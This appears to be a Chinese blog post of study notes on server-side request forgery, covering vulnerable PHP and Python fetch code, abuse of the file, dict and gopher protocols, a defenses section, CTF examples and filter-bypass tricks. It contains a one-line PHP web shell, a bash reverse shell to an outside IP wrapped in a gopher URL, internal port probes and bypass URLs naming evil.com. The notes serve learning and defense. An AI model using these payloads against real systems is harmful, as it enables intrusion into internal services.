V0W's Blog

SSRF 学习笔记

字数统计: 2,923阅读时长: 13 min
2018/11/23 Share

SSRF概述

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

形成原因

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

常出现在一下场景中:

  1. 分享:通过url地址分享网页内容
  2. 通过url地址加载或者下载图片
  3. 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  4. 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  5. 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
  6. Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  7. 其他调用url或者类似出现==站内站==的情况,能够对外发起网络请求的地方,就可能存在 SSRF 漏洞

辨别SSRF

  • 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
  • 根据远程 URL 上传,静态资源图片等,这些会请求远程服务器的资源。
  • 数据库的比如 mongodb 的 copyDatabase 函数。
  • 邮件系统就是接收邮件服务器地址这些地方。
  • 文件就找 ImageMagick,xml 这些。
  • 从 URL 关键字中寻找,比如:source,share,link,src,imageurl,target 等。

常见后端实现

php后端实现

  1. file_get_contents

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    if (isset($_POST['url'])) {
    $content = file_get_contents($_POST['url']);
    $filename ='./images/'.rand().';img1.jpg';
    file_put_contents($filename, $content);
    echo $_POST['url'];
    $img = "<img src=\"".$filename."\"/>";
    }
    echo $img;
    ?>

    这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

  2. fsockopen()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php 
    function GetFile($host,$port,$link) {
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
    echo "$errstr (error number $errno) \n";
    } else {
    $out = "GET $link HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    $out .= "\r\n";
    fwrite($fp, $out);
    $contents='';
    while (!feof($fp)) {
    $contents.= fgets($fp, 1024);
    }
    fclose($fp);
    return $contents;
    }
    }
    ?>

    这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

  3. curl_exec()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php 
    if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result);
    echo $result;
    }
    ?>

    使用 curl 获取数据。

python后端实现

python通常使用urllib

1
2
3
4
5
#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info.read().decode('utf-8'))

SSRF利用

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli,redis等)
  5. 利用 file 协议读取本地文件等

curl 支持很多协议,可以通过curl -V查看

1
2
3
4
5
6
$ curl -V
curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp

Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP UnixSockets

其中file,dict,gopher协议常用。

1. 利用 file 协议读取本地文件

类似的,可以读取配置文件和

2. 利用dict协议探测端口

1
2
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

有返回的页面就说端口是开放的。

3. 利用gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

推荐一篇非常好的文章 利用 Gopher 协议拓展攻击面

最简单的实例

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

1
<?php system($_POST[e]);?>

利用方式:

1
2
3
4
5
6
7
8
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

1
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

湖湘杯2018的一道SSRF考察的就是这一点,下面是读文件拿到的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}

}

?>

之后利用gopher协议可以绕过ip的检测,从而执行程序,获取flag。

题目详解和exp,可参考我的博客——湖湘杯WP

稍复杂一点的情况

利用gopher攻击内网中的一些有漏洞的应用等,如长亭文章中所说,利用gopher协议攻击redis应用。主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用
// TODO

防御手段

  1. 限制协议为 HTTP、HTTPS,需求不需要,就不要开类似gopher,file,ftp协议
  2. 禁止 30x 跳转
  3. 设置 URL 白名单或者限制内网 IP
  4. 服务端需要鉴权(Cookies & User:Pass)不能完美利用

Some Tricks in SSRF

1. 简单过滤的绕过

http://127.0.0.1/ 等内网地址被过滤的时候,可以尝试一下几种方式:

  1. @或#

    1
    2
    http://abc@127.0.0.1
    127.0.0.1#http://abc
  2. Som添加端口号

    1
    http://127.0.0.1:8080
  3. 短地址

    1
    http://dwz.cn/11SMa
  4. 可以指向任意 ip 的域名:xip.io

    1
    2
    3
    4
    10.0.0.1.xip.io 10.0.0.1
    www.10.0.0.1.xip.io 10.0.0.1
    mysite.10.0.0.1.xip.io 10.0.0.1
    foo.bar.10.0.0.1.xip.io 10.0.0.1
  5. ip 地址转换成进制来访问

    1
    127.0.0.1 = 0x7f000001 = 0x7f.0x00.0x00.0x01
  6. 利用dns将域名解析为内网ip。

    1
    http://test.th1s.cn->10.1.1.1
  7. 利用301或者302跳转

    1
    2
    3
    http://www.th1s.cn/test/ssrf.php
    ssrf.php里面的内容为:
    <?php header('Location:10.1.1.1');?>
  8. 句号绕过 127。0。0。1

  9. Enclosed alphanumerics绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
    List:
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
    ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
    ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
    ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
    Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
    ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
    ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
    ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

2. parse_url与libcurl对curl的解析差异

hgame2019 week2 php-trick的部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$url = @$_GET['url'];
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

此题就是考察就是利用parse_url与libcurl对curl的解析差异的trick

1
2
3
4
5
6
7
8
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如:http://u:p@a.com:80@b.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
php  parse_url解析结果:
schema: http
user: u
pass: p@a.com:80
host: b.com

libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

所以上面的例题就可以通过这种方式绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
php > $a = parse_url('http://u:p@127.0.0.1:80@www.baidu.com/flag.php'); var_dump($a);
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(13) "www.baidu.com"
["user"]=>
string(1) "u"
["pass"]=>
string(14) "p@127.0.0.1:80"
["path"]=>
string(9) "/flag.php"
}

详细可以看看我的WP

3. trick1 filter_var() bypass

看到很多大佬的文章都有提到,找到原文链接

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/google\.com$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
1
2
3
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )函数有两种参数。
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url

代码的逻辑是先判断,url是否符合逻辑,符合则用preg_match来匹配,匹配成功就curl

绕过方式

1
2
3
http://localhost/web/test/22.php?url=0://evil.com:80,google.com:80/

http://localhost/web/test/22.php?url=0://evil.com:23333;google.com:80/

利用,或者;可以绕过。

许多URL方案保留某些特殊含义的字符:它们在URL的特定于方案的部分中的外观具有指定的语义。如果在方案中保留对应于八位字节的字符,则必须对八位字节进行编码。字符“;”,“/”,“?”,“:”,“@”,“=”和“&”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。

除了分层路径中的点段之外,通用语法将路径段视为不透明。URI生成应用程序通常使用段中允许的保留字符来分隔特定于方案或解除引用处理程序的子组件。例如,分号(“;”)和等于(“=”)保留字符通常用于分隔适用于该段的参数和参数值逗号(“,”)保留字符通常用于类似目的。

1
2
3
4
5
6
7
8
9
10

Argument: 0://evil.com:2333;google.com:80
array(3) {
["scheme"]=>
string(1) "0"
["host"]=>
string(30) "evil.com;google.com"
["port"]=>
int(80)
}

4. DNS重绑攻击

网上原理多为文字,可能不太易懂,画图形象。

https://i.loli.net/2019/01/15/5c3df58ad59ce.png

关键是利用服务端第一次去请求DNS服务和第二次进行域名解析即访问URL之间的的时间差,利用这个时间差进行DNS重绑定攻击

还有就是DNS服务器需要设置TTL=0,TTL为DNS服务器里域名和IP绑定关系的cache存活的时间

实现方法:

  1. 设置TTL,0ctF2016的monkey题目就是利用DNS重绑攻击绕过,国外域名一般可以设置TTL=0
  2. 还有种方法就是设置两条A记录给域名一个解析的ip为外网,另一个解析的ip为内网,那么这就成了概率问题,一次访问有1/4的概率访问内网
  3. 直接自建DNS服务器,比如dnspython等模块

参考链接

  1. SSRF 学习笔记
  2. 利用 Gopher 协议拓展攻击面
  3. CTFwiki-SSRF
  4. 了解SSRF,这一篇就足够了
  5. SSRF攻击实例解析
  6. ssrf bypass总结
  7. http://j0k3r.top/2019/01/30/SSRF/
  8. https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
  9. https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()
CATALOG
  1. 1. SSRF概述
    1. 1.1. 形成原因
    2. 1.2. 常见后端实现
      1. 1.2.1. php后端实现
      2. 1.2.2. python后端实现
  2. 2. SSRF利用
    1. 2.1. 1. 利用 file 协议读取本地文件
    2. 2.2. 2. 利用dict协议探测端口
    3. 2.3. 3. 利用gopher协议
      1. 2.3.1. 最简单的实例
      2. 2.3.2. 稍复杂一点的情况
  3. 3. 防御手段
  4. 4. Some Tricks in SSRF
    1. 4.1. 1. 简单过滤的绕过
    2. 4.2. 2. parse_url与libcurl对curl的解析差异
    3. 4.3. 3. trick1 filter_var() bypass
      1. 4.3.1. 绕过方式
    4. 4.4. 4. DNS重绑攻击
  5. 5. 参考链接